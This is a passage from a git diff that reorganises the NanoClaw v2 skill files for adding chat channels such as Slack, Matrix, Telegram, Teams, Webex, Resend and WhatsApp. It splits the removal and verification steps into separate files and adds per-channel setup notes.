`LINEAR_WEBHOOK_SECRET` from `.env` -3. `npm uninstall @chat-adapter/linear` -4. Rebuild and restart +- **type**: `linear` +- **terminology**: Linear has "teams" containing "issues." Each issue's comment thread is a separate conversation. +- **how-to-find-id**: The platform ID is your team key (e.g. `ENG`). Find it in Linear under Settings > Teams. Each issue becomes its own thread automatically. +- **supports-threads**: yes (issue comment threads are native conversations) +- **typical-use**: Webhook/notification — the agent receives issue comment events and responds in threads +- **default-isolation**: Typically shares a session with a chat channel (e.g. Slack) so the agent can discuss issues in the same context as team chat. Use a separate agent group if the Linear team tracks sensitive work. diff --git a/.claude/skills/add-linear-v2/VERIFY.md b/.claude/skills/add-linear-v2/VERIFY.md new file mode 100644 index 0000000..8a2581a --- /dev/null +++ b/.claude/skills/add-linear-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Linear Channel + +@mention the bot in a Linear issue comment. The bot should respond within a few seconds. diff --git a/.claude/skills/add-matrix-v2/REMOVE.md b/.claude/skills/add-matrix-v2/REMOVE.md new file mode 100644 index 0000000..0f5ca1c --- /dev/null +++ b/.claude/skills/add-matrix-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Matrix Channel + +1. Comment out `import './matrix.js'` in `src/channels/index.ts` +2. Remove `MATRIX_BASE_URL`, `MATRIX_ACCESS_TOKEN`, `MATRIX_USER_ID`, `MATRIX_BOT_USERNAME` from `.env` +3. `npm uninstall @beeper/chat-adapter-matrix` +4. Rebuild and restart diff --git a/.claude/skills/add-matrix-v2/SKILL.md b/.claude/skills/add-matrix-v2/SKILL.md index 8684cf1..59ea5e6 100644 --- a/.claude/skills/add-matrix-v2/SKILL.md +++ b/.claude/skills/add-matrix-v2/SKILL.md @@ -1,48 +1,40 @@ --- name: add-matrix-v2 -description: Add Matrix channel integration to NanoClaw v2 via Chat SDK. Works with any Matrix homeserver (Element, Beeper, etc.). +description: Add Matrix channel integration to NanoClaw v2 via Chat SDK. Works with any Matrix homeserver. --- -# Add Matrix Channel (v2) +# Add Matrix Channel -This skill adds Matrix support to NanoClaw v2 using the Chat SDK bridge. Works with any Matrix homeserver. +Adds Matrix support to NanoClaw v2 using the Chat SDK bridge. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/matrix.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/matrix.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @beeper/chat-adapter-matrix ``` -### Enable the channel - Uncomment the Matrix import in `src/channels/index.ts`: ```typescript import './matrix.js'; ``` -### Build - ```bash npm run build ``` -## Phase 3: Setup +## Credentials -### Create Matrix bot account - -> 1. Register a bot account on your Matrix homeserver (e.g., via Element) -> 2. Get the homeserver URL (e.g., `https://matrix.org` or your self-hosted URL) -> 3. Get an access token: -> - In Element: **Settings** > **Help & About** > **Access Token** (advanced) -> - Or via API: `curl -XPOST 'https://matrix.org/_matrix/client/r0/login' -d '{"type":"m.login.password","user":"botuser","password":"..."}'` -> 4. Note the bot's user ID (e.g., `@botuser:matrix.org`) +1. Register a bot account on your Matrix homeserver (e.g., via Element) +2. Get the homeserver URL (e.g., `https://matrix.org` or your self-hosted URL) +3. Get an access token: + - In Element: **Settings** > **Help & About** > **Access Token** (advanced) + - Or via API: `curl -XPOST 'https://matrix.org/_matrix/client/r0/login' -d '{"type":"m.login.password","user":"botuser","password":"..."}'` +4. Note the bot's user ID (e.g., `@botuser:matrix.org`) ### Configure environment @@ -57,21 +49,17 @@ MATRIX_BOT_USERNAME=botuser Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Invite the bot to a Matrix room and send a message. The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './matrix.js'` in `src/channels/index.ts` -2. Remove `MATRIX_BASE_URL`, `MATRIX_ACCESS_TOKEN`, `MATRIX_USER_ID`, `MATRIX_BOT_USERNAME` from `.env` -3. `npm uninstall @beeper/chat-adapter-matrix` -4. Rebuild and restart +- **type**: `matrix` +- **terminology**: Matrix has "rooms." A room can be a group chat or a direct message. Rooms have internal IDs (like `!abc123:matrix.org`) and optional aliases (like `#general:matrix.org`). +- **how-to-find-id**: In Element, click the room name > Settings > Advanced — the "Internal room ID" is the platform ID (starts with `!`). Or use a room alias like `#general:matrix.org`. +- **supports-threads**: partial (some clients support threads, but not all — treat as no for reliability) +- **typical-use**: Interactive chat — rooms or direct messages +- **default-isolation**: Same agent group for rooms where you're the primary user. Separate agent group for rooms with different communities or sensitive contexts. diff --git a/.claude/skills/add-matrix-v2/VERIFY.md b/.claude/skills/add-matrix-v2/VERIFY.md new file mode 100644 index 0000000..f483abb --- /dev/null +++ b/.claude/skills/add-matrix-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Matrix Channel + +Invite the bot to a Matrix room and send a message. The bot should respond within a few seconds. diff --git a/.claude/skills/add-resend-v2/REMOVE.md b/.claude/skills/add-resend-v2/REMOVE.md new file mode 100644 index 0000000..83e7a44 --- /dev/null +++ b/.claude/skills/add-resend-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Resend Email Channel + +1. Comment out `import './resend.js'` in `src/channels/index.ts` +2. Remove `RESEND_API_KEY`, `RESEND_FROM_ADDRESS`, `RESEND_FROM_NAME`, `RESEND_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @resend/chat-sdk-adapter` +4. Rebuild and restart diff --git a/.claude/skills/add-resend-v2/SKILL.md b/.claude/skills/add-resend-v2/SKILL.md index ae25e3f..eaf0e92 100644 --- a/.claude/skills/add-resend-v2/SKILL.md +++ b/.claude/skills/add-resend-v2/SKILL.md @@ -3,48 +3,42 @@ name: add-resend-v2 description: Add Resend (email) channel integration to NanoClaw v2 via Chat SDK. --- -# Add Resend Email Channel (v2) +# Add Resend Email Channel -This skill adds email support via Resend to NanoClaw v2 using the Chat SDK bridge. +Connect NanoClaw to email via Resend for async email conversations. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/resend.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/resend.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @resend/chat-sdk-adapter ``` -### Enable the channel - Uncomment the Resend import in `src/channels/index.ts`: ```typescript import './resend.js'; ``` -### Build +Build: ```bash npm run build ``` -## Phase 3: Setup +## Credentials -### Create Resend credentials - -> 1. Go to [resend.com](https://resend.com) and create an account -> 2. Add and verify your sending domain -> 3. Go to **API Keys** and create a new key -> 4. Set up a webhook: -> - Go to **Webhooks** > **Add webhook** -> - URL: `https://your-domain/webhook/resend` -> - Events: select **email.received** (for inbound email) -> - Copy the signing secret +1. Go to [resend.com](https://resend.com) and create an account. +2. Add and verify your sending domain. +3. Go to **API Keys** and create a new key. +4. Set up a webhook: + - Go to **Webhooks** > **Add webhook**. + - URL: `https://your-domain/webhook/resend`. + - Events: select **email.received**. + - Copy the signing secret. ### Configure environment @@ -59,21 +53,17 @@ RESEND_WEBHOOK_SECRET=your-webhook-secret Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Send an email to the configured from address. The bot should respond via email within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './resend.js'` in `src/channels/index.ts` -2. Remove `RESEND_API_KEY`, `RESEND_FROM_ADDRESS`, `RESEND_FROM_NAME`, `RESEND_WEBHOOK_SECRET` from `.env` -3. `npm uninstall @resend/chat-sdk-adapter` -4. Rebuild and restart +- **type**: `resend` +- **terminology**: Resend handles email. Each email thread (identified by subject/In-Reply-To headers) is a separate conversation. The "from address" is the bot's identity. +- **how-to-find-id**: The platform ID is the from email address (e.g. `bot@yourdomain.com`). Each sender's email thread becomes its own conversation. +- **supports-threads**: yes (via email threading headers -- replies to the same thread stay together) +- **typical-use**: Async communication -- email conversations with longer response expectations +- **default-isolation**: Same agent group if you want your agent to handle email alongside other channels. Separate agent group if email contains sensitive correspondence that shouldn't be accessible from other channels. diff --git a/.claude/skills/add-resend-v2/VERIFY.md b/.claude/skills/add-resend-v2/VERIFY.md new file mode 100644 index 0000000..983197e --- /dev/null +++ b/.claude/skills/add-resend-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Resend Email Channel + +Send an email to the configured from address. The bot should respond via email within a few seconds. diff --git a/.claude/skills/add-slack-v2/REMOVE.md b/.claude/skills/add-slack-v2/REMOVE.md new file mode 100644 index 0000000..140fbe7 --- /dev/null +++ b/.claude/skills/add-slack-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Slack + +1. Comment out `import './slack.js'` in `src/channels/index.ts` +2. Remove `SLACK_BOT_TOKEN` and `SLACK_SIGNING_SECRET` from `.env` +3. `npm uninstall @chat-adapter/slack` +4. Rebuild and restart diff --git a/.claude/skills/add-slack-v2/SKILL.md b/.claude/skills/add-slack-v2/SKILL.md index 2d03afe..3d652f7 100644 --- a/.claude/skills/add-slack-v2/SKILL.md +++ b/.claude/skills/add-slack-v2/SKILL.md @@ -3,15 +3,15 @@ name: add-slack-v2 description: Add Slack channel integration to NanoClaw v2 via Chat SDK. --- -# Add Slack Channel (v2) +# Add Slack Channel -This skill adds Slack support to NanoClaw v2 using the Chat SDK bridge. +Adds Slack support to NanoClaw v2 using the Chat SDK bridge. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/slack.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/slack.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes +## Install ### Install the adapter package @@ -33,21 +33,19 @@ import './slack.js'; npm run build ``` -## Phase 3: Setup +## Credentials -### Create Slack App (if needed) +### Create Slack App -If the user doesn't have a Slack app: - -> 1. Go to [api.slack.com/apps](https://api.slack.com/apps) and click **Create New App** > **From scratch** -> 2. Name it (e.g., "NanoClaw") and select your workspace -> 3. Go to **OAuth & Permissions** and add Bot Token Scopes: -> - `chat:write`, `channels:history`, `groups:history`, `im:history`, `channels:read`, `groups:read`, `users:read`, `reactions:write` -> 4. Click **Install to Workspace** and copy the **Bot User OAuth Token** (`xoxb-...`) -> 5. Go to **Basic Information** and copy the **Signing Secret** -> 6. Go to **Event Subscriptions**, enable events, and subscribe to: -> - `message.channels`, `message.groups`, `message.im`, `app_mention` -> 7. Set the Request URL to your webhook endpoint (e.g., `https://your-domain/webhook/slack`) +1. Go to [api.slack.com/apps](https://api.slack.com/apps) and click **Create New App** > **From scratch** +2. Name it (e.g., "NanoClaw") and select your workspace +3. Go to **OAuth & Permissions** and add Bot Token Scopes: + - `chat:write`, `channels:history`, `groups:history`, `im:history`, `channels:read`, `groups:read`, `users:read`, `reactions:write` +4. Click **Install to Workspace** and copy the **Bot User OAuth Token** (`xoxb-...`) +5. Go to **Basic Information** and copy the **Signing Secret** +6. Go to **Event Subscriptions**, enable events, and subscribe to: + - `message.channels`, `message.groups`, `message.im`, `app_mention` +7. Set the Request URL to your webhook endpoint (e.g., `https://your-domain/webhook/slack`) ### Configure environment @@ -60,22 +58,17 @@ SLACK_SIGNING_SECRET=your-signing-secret Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Add the bot to a Slack channel, then send a message or @mention the bot. -> The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './slack.js'` in `src/channels/index.ts` -2. Remove `SLACK_BOT_TOKEN` and `SLACK_SIGNING_SECRET` from `.env` -3. `npm uninstall @chat-adapter/slack` -4. Rebuild and restart +- **type**: `slack` +- **terminology**: Slack has "workspaces" containing "channels." Channels can be public (#general) or private. The bot can also receive direct messages. +- **how-to-find-id**: Right-click a channel name > "View channel details" — the Channel ID is at the bottom (starts with C). Or copy the channel link — the ID is the last segment of the URL. +- **supports-threads**: yes +- **typical-use**: Interactive chat — team channels or direct messages +- **default-isolation**: Same agent group for channels where you're the primary user. Separate agent group for channels with different teams or sensitive contexts. diff --git a/.claude/skills/add-slack-v2/VERIFY.md b/.claude/skills/add-slack-v2/VERIFY.md new file mode 100644 index 0000000..23eb994 --- /dev/null +++ b/.claude/skills/add-slack-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Slack + +Add the bot to a Slack channel, then send a message or @mention the bot. The bot should respond within a few seconds. diff --git a/.claude/skills/add-teams-v2/REMOVE.md b/.claude/skills/add-teams-v2/REMOVE.md new file mode 100644 index 0000000..e921cfb --- /dev/null +++ b/.claude/skills/add-teams-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Microsoft Teams Channel + +1. Comment out `import './teams.js'` in `src/channels/index.ts` +2. Remove `TEAMS_APP_ID` and `TEAMS_APP_PASSWORD` from `.env` +3. `npm uninstall @chat-adapter/teams` +4. Rebuild and restart diff --git a/.claude/skills/add-teams-v2/SKILL.md b/.claude/skills/add-teams-v2/SKILL.md index 2976883..20324f3 100644 --- a/.claude/skills/add-teams-v2/SKILL.md +++ b/.claude/skills/add-teams-v2/SKILL.md @@ -3,46 +3,38 @@ name: add-teams-v2 description: Add Microsoft Teams channel integration to NanoClaw v2 via Chat SDK. --- -# Add Microsoft Teams Channel (v2) +# Add Microsoft Teams Channel -This skill adds Microsoft Teams support to NanoClaw v2 using the Chat SDK bridge. +Connect NanoClaw to Microsoft Teams for interactive chat in team channels and direct messages. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/teams.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/teams.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @chat-adapter/teams ``` -### Enable the channel - Uncomment the Teams import in `src/channels/index.ts`: ```typescript import './teams.js'; ``` -### Build +Build: ```bash npm run build ``` -## Phase 3: Setup +## Credentials -### Create Teams Bot - -> 1. Go to [Azure Portal](https://portal.azure.com) > **Azure Bot** > **Create** -> 2. Fill in the bot details and create -> 3. Go to **Configuration**: -> - Messaging endpoint: `https://your-domain/webhook/teams` -> 4. Go to **Channels** > add **Microsoft Teams** -> 5. Note the **Microsoft App ID** and **Password** (from the bot's Azure AD app registration) +1. Go to [Azure Portal](https://portal.azure.com) > **Azure Bot** > **Create**. +2. Configure the messaging endpoint: `https://your-domain/webhook/teams`. +3. Add the **Microsoft Teams** channel. +4. Note the **App ID** and **Password** from the Azure AD app registration. ### Configure environment @@ -55,21 +47,17 @@ TEAMS_APP_PASSWORD=your-app-password Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Add the bot to a Teams channel or send it a direct message. The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './teams.js'` in `src/channels/index.ts` -2. Remove `TEAMS_APP_ID` and `TEAMS_APP_PASSWORD` from `.env` -3. `npm uninstall @chat-adapter/teams` -4. Rebuild and restart +- **type**: `teams` +- **terminology**: Teams has "teams" containing "channels." The bot can also receive direct messages. Teams channels can have threaded replies. +- **how-to-find-id**: Right-click a channel in Teams > "Get link to channel" -- the channel ID is in the URL. Or use the Microsoft Graph API to list channels. +- **supports-threads**: yes +- **typical-use**: Interactive chat -- team channels or direct messages +- **default-isolation**: Same agent group for channels where you're the primary user. Separate agent group for channels with different teams or where different members have different information boundaries. diff --git a/.claude/skills/add-teams-v2/VERIFY.md b/.claude/skills/add-teams-v2/VERIFY.md new file mode 100644 index 0000000..f0b9a9a --- /dev/null +++ b/.claude/skills/add-teams-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Microsoft Teams Channel + +Add the bot to a Teams channel or send it a direct message. The bot should respond within a few seconds. diff --git a/.claude/skills/add-telegram-v2/REMOVE.md b/.claude/skills/add-telegram-v2/REMOVE.md new file mode 100644 index 0000000..9fd37cf --- /dev/null +++ b/.claude/skills/add-telegram-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Telegram + +1. Comment out `import './telegram.js'` in `src/channels/index.ts` +2. Remove `TELEGRAM_BOT_TOKEN` from `.env` +3. `npm uninstall @chat-adapter/telegram` +4. Rebuild and restart diff --git a/.claude/skills/add-telegram-v2/SKILL.md b/.claude/skills/add-telegram-v2/SKILL.md index 754a948..b767e55 100644 --- a/.claude/skills/add-telegram-v2/SKILL.md +++ b/.claude/skills/add-telegram-v2/SKILL.md @@ -3,15 +3,15 @@ name: add-telegram-v2 description: Add Telegram channel integration to NanoClaw v2 via Chat SDK. --- -# Add Telegram Channel (v2) +# Add Telegram Channel -This skill adds Telegram support to NanoClaw v2 using the Chat SDK bridge. +Adds Telegram bot support to NanoClaw v2 using the Chat SDK bridge. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/telegram.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/telegram.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes +## Install ### Install the adapter package @@ -33,22 +33,20 @@ import './telegram.js'; npm run build ``` -## Phase 3: Setup +## Credentials -### Create Telegram Bot (if needed) +### Create Telegram Bot -> 1. Open Telegram and search for `@BotFather` -> 2. Send `/newbot` and follow the prompts: -> - Bot name: Something friendly (e.g., "NanoClaw Assistant") -> - Bot username: Must end with "bot" (e.g., "nanoclaw_bot") -> 3. Copy the bot token (looks like `123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11`) +1. Open Telegram and search for `@BotFather` +2. Send `/newbot` and follow the prompts: + - Bot name: Something friendly (e.g., "NanoClaw Assistant") + - Bot username: Must end with "bot" (e.g., "nanoclaw_bot") +3. Copy the bot token (looks like `123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11`) -### Disable Group Privacy (for group chats) +**Important for group chats**: By default, Telegram bots only see @mentions and commands in groups. To let the bot see all messages: -> **Important for group chats**: By default, Telegram bots only see @mentions and commands in groups. To let the bot see all messages: -> -> 1. Open `@BotFather` > `/mybots` > select your bot -> 2. **Bot Settings** > **Group Privacy** > **Turn off** +1. Open `@BotFather` > `/mybots` > select your bot +2. **Bot Settings** > **Group Privacy** > **Turn off** ### Configure environment @@ -60,23 +58,17 @@ TELEGRAM_BOT_TOKEN=your-bot-token Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Send a message to your bot in Telegram (search for its username). -> For groups: add the bot to a group and send a message. -> The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './telegram.js'` in `src/channels/index.ts` -2. Remove `TELEGRAM_BOT_TOKEN` from `.env` -3. `npm uninstall @chat-adapter/telegram` -4. Rebuild and restart +- **type**: `telegram` +- **terminology**: Telegram calls them "groups" and "chats." A "group" has multiple members; a "chat" is a 1:1 conversation with the bot. +- **how-to-find-id**: Send a message in the group/chat, then visit `https://api.telegram.org/bot/getUpdates` — the `chat.id` field is the platform ID. Group IDs are negative numbers. +- **supports-threads**: no +- **typical-use**: Interactive chat — direct messages or small groups +- **default-isolation**: Same agent group if you're the only participant across multiple chats. Separate agent group if different people are in different groups. diff --git a/.claude/skills/add-telegram-v2/VERIFY.md b/.claude/skills/add-telegram-v2/VERIFY.md new file mode 100644 index 0000000..79c0f0d --- /dev/null +++ b/.claude/skills/add-telegram-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Telegram + +Send a message to your bot in Telegram (search for its username), or add the bot to a group and send a message there. The bot should respond within a few seconds. diff --git a/.claude/skills/add-webex-v2/REMOVE.md b/.claude/skills/add-webex-v2/REMOVE.md new file mode 100644 index 0000000..2dc5c1f --- /dev/null +++ b/.claude/skills/add-webex-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Webex Channel + +1. Comment out `import './webex.js'` in `src/channels/index.ts` +2. Remove `WEBEX_BOT_TOKEN` and `WEBEX_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @bitbasti/chat-adapter-webex` +4. Rebuild and restart diff --git a/.claude/skills/add-webex-v2/SKILL.md b/.claude/skills/add-webex-v2/SKILL.md index a11da4c..830b587 100644 --- a/.claude/skills/add-webex-v2/SKILL.md +++ b/.claude/skills/add-webex-v2/SKILL.md @@ -3,46 +3,37 @@ name: add-webex-v2 description: Add Webex channel integration to NanoClaw v2 via Chat SDK. --- -# Add Webex Channel (v2) +# Add Webex Channel -This skill adds Cisco Webex support to NanoClaw v2 using the Chat SDK bridge. +Adds Cisco Webex support to NanoClaw v2 using the Chat SDK bridge. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/webex.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/webex.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @bitbasti/chat-adapter-webex ``` -### Enable the channel - Uncomment the Webex import in `src/channels/index.ts`: ```typescript import './webex.js'; ``` -### Build - ```bash npm run build ``` -## Phase 3: Setup +## Credentials -### Create Webex Bot - -> 1. Go to [developer.webex.com](https://developer.webex.com/my-apps/new/bot) -> 2. Create a new bot and copy the **Bot Access Token** -> 3. Set up a webhook: -> - Use the Webex API to create a webhook pointing to `https://your-domain/webhook/webex` -> - Or use the Webex Developer Portal -> - Set a webhook secret for signature verification +1. Go to [developer.webex.com](https://developer.webex.com/my-apps/new/bot) and create a new bot +2. Copy the **Bot Access Token** +3. Set up a webhook: + - Use the Webex API or Developer Portal to create a webhook pointing to `https://your-domain/webhook/webex` + - Set a webhook secret for signature verification ### Configure environment @@ -55,21 +46,17 @@ WEBEX_WEBHOOK_SECRET=your-webhook-secret Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Add the bot to a Webex space or send it a direct message. The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './webex.js'` in `src/channels/index.ts` -2. Remove `WEBEX_BOT_TOKEN` and `WEBEX_WEBHOOK_SECRET` from `.env` -3. `npm uninstall @bitbasti/chat-adapter-webex` -4. Rebuild and restart +- **type**: `webex` +- **terminology**: Webex has "spaces." A space can be a group conversation or a 1:1 direct message with the bot. +- **how-to-find-id**: Open the space in Webex, click the space name > Settings — the Space ID is listed there. Or use the Webex API (`GET /rooms`) to list spaces and their IDs. +- **supports-threads**: yes +- **typical-use**: Interactive chat — team spaces or direct messages +- **default-isolation**: Same agent group for spaces where you're the primary user. Separate agent group for spaces with different teams or sensitive information. diff --git a/.claude/skills/add-webex-v2/VERIFY.md b/.claude/skills/add-webex-v2/VERIFY.md new file mode 100644 index 0000000..3bd872b --- /dev/null +++ b/.claude/skills/add-webex-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Webex Channel + +Add the bot to a Webex space or send it a direct message. The bot should respond within a few seconds. diff --git a/.claude/skills/add-whatsapp-cloud-v2/REMOVE.md b/.claude/skills/add-whatsapp-cloud-v2/REMOVE.md new file mode 100644 index 0000000..12c2feb --- /dev/null +++ b/.claude/skills/add-whatsapp-cloud-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove WhatsApp Cloud API Channel + +1. Comment out `import './whatsapp-cloud.js'` in `src/channels/index.ts` +2. Remove `WHATSAPP_ACCESS_TOKEN`, `WHATSAPP_PHONE_NUMBER_ID`, `WHATSAPP_APP_SECRET`, `WHATSAPP_VERIFY_TOKEN` from `.env` +3. `npm uninstall @chat-adapter/whatsapp` +4. Rebuild and restart diff --git a/.claude/skills/add-whatsapp-cloud-v2/SKILL.md b/.claude/skills/add-whatsapp-cloud-v2/SKILL.md index 0ebc0c0..4f7709e 100644 --- a/.claude/skills/add-whatsapp-cloud-v2/SKILL.md +++ b/.claude/skills/add-whatsapp-cloud-v2/SKILL.md @@ -1,52 +1,46 @@ --- name: add-whatsapp-cloud-v2 -description: Add WhatsApp Business Cloud API channel to NanoClaw v2 via Chat SDK. Official Meta API (not Baileys). +description: Add WhatsApp Business Cloud API channel to NanoClaw v2 via Chat SDK. Official Meta API. --- -# Add WhatsApp Cloud API Channel (v2) +# Add WhatsApp Cloud API Channel -This skill adds WhatsApp support via the official Meta WhatsApp Business Cloud API. This is different from the Baileys-based WhatsApp adapter (which uses WhatsApp Web protocol). +Connect NanoClaw to WhatsApp via the official Meta WhatsApp Business Cloud API. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/whatsapp-cloud.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/whatsapp-cloud.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @chat-adapter/whatsapp ``` -### Enable the channel - Uncomment the WhatsApp Cloud API import in `src/channels/index.ts`: ```typescript import './whatsapp-cloud.js'; ``` -### Build +Build: ```bash npm run build ``` -## Phase 3: Setup +## Credentials -### Create WhatsApp Business App - -> 1. Go to [Meta for Developers](https://developers.facebook.com/apps/) and create an app (type: Business) -> 2. Add the **WhatsApp** product -> 3. Go to **WhatsApp** > **API Setup**: -> - Note the **Phone Number ID** (not the phone number itself) -> - Generate a **permanent System User access token** with `whatsapp_business_messaging` permission -> 4. Go to **WhatsApp** > **Configuration**: -> - Set webhook URL: `https://your-domain/webhook/whatsapp` -> - Set a **Verify Token** (any random string you choose) -> - Subscribe to webhook fields: `messages` -> 5. Copy the **App Secret** from **Settings** > **Basic** +1. Go to [Meta for Developers](https://developers.facebook.com/apps/) and create an app (type: Business). +2. Add the **WhatsApp** product. +3. Go to **WhatsApp** > **API Setup**: + - Note the **Phone Number ID** (not the phone number itself). + - Generate a **permanent System User access token** with `whatsapp_business_messaging` permission. +4. Go to **WhatsApp** > **Configuration**: + - Set webhook URL: `https://your-domain/webhook/whatsapp`. + - Set a **Verify Token** (any random string you choose). + - Subscribe to webhook fields: `messages`. +5. Copy the **App Secret** from **Settings** > **Basic**. ### Configure environment @@ -61,22 +55,17 @@ WHATSAPP_VERIFY_TOKEN=your-verify-token Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Send a message to your WhatsApp Business number. The bot should respond within a few seconds. -> Note: WhatsApp Cloud API only supports 1:1 DMs, not group chats. +## Channel Info -## Removal - -1. Comment out `import './whatsapp-cloud.js'` in `src/channels/index.ts` -2. Remove `WHATSAPP_ACCESS_TOKEN`, `WHATSAPP_PHONE_NUMBER_ID`, `WHATSAPP_APP_SECRET`, `WHATSAPP_VERIFY_TOKEN` from `.env` -3. `npm uninstall @chat-adapter/whatsapp` -4. Rebuild and restart +- **type**: `whatsapp-cloud` +- **terminology**: WhatsApp Cloud API supports 1:1 conversations only (no group chats). Each conversation is with a phone number. +- **how-to-find-id**: The platform ID is the Phone Number ID from the Meta Business dashboard (not the phone number itself). Find it under WhatsApp > API Setup. +- **supports-threads**: no +- **typical-use**: Interactive 1:1 chat -- direct messages only +- **default-isolation**: Same agent group if you're the only person messaging the bot. Each additional person who messages gets their own conversation automatically, but they share the agent's workspace and memory -- use a separate agent group if you need information isolation between different contacts. diff --git a/.claude/skills/add-whatsapp-cloud-v2/VERIFY.md b/.claude/skills/add-whatsapp-cloud-v2/VERIFY.md new file mode 100644 index 0000000..905f89f --- /dev/null +++ b/.claude/skills/add-whatsapp-cloud-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify WhatsApp Cloud API Channel + +Send a message to your WhatsApp Business number. The bot should respond within a few seconds. Note: WhatsApp Cloud API only supports 1:1 DMs, not group chats. diff --git a/.claude/skills/manage-channels/SKILL.md b/.claude/skills/manage-channels/SKILL.md new file mode 100644 index 0000000..ee68656 --- /dev/null +++ b/.claude/skills/manage-channels/SKILL.md @@ -0,0 +1,81 @@ +--- +name: manage-channels +description: Wire channels to agent groups, manage isolation levels, add new channel groups. Use after adding a channel, during setup, or standalone to reconfigure. +--- + +# 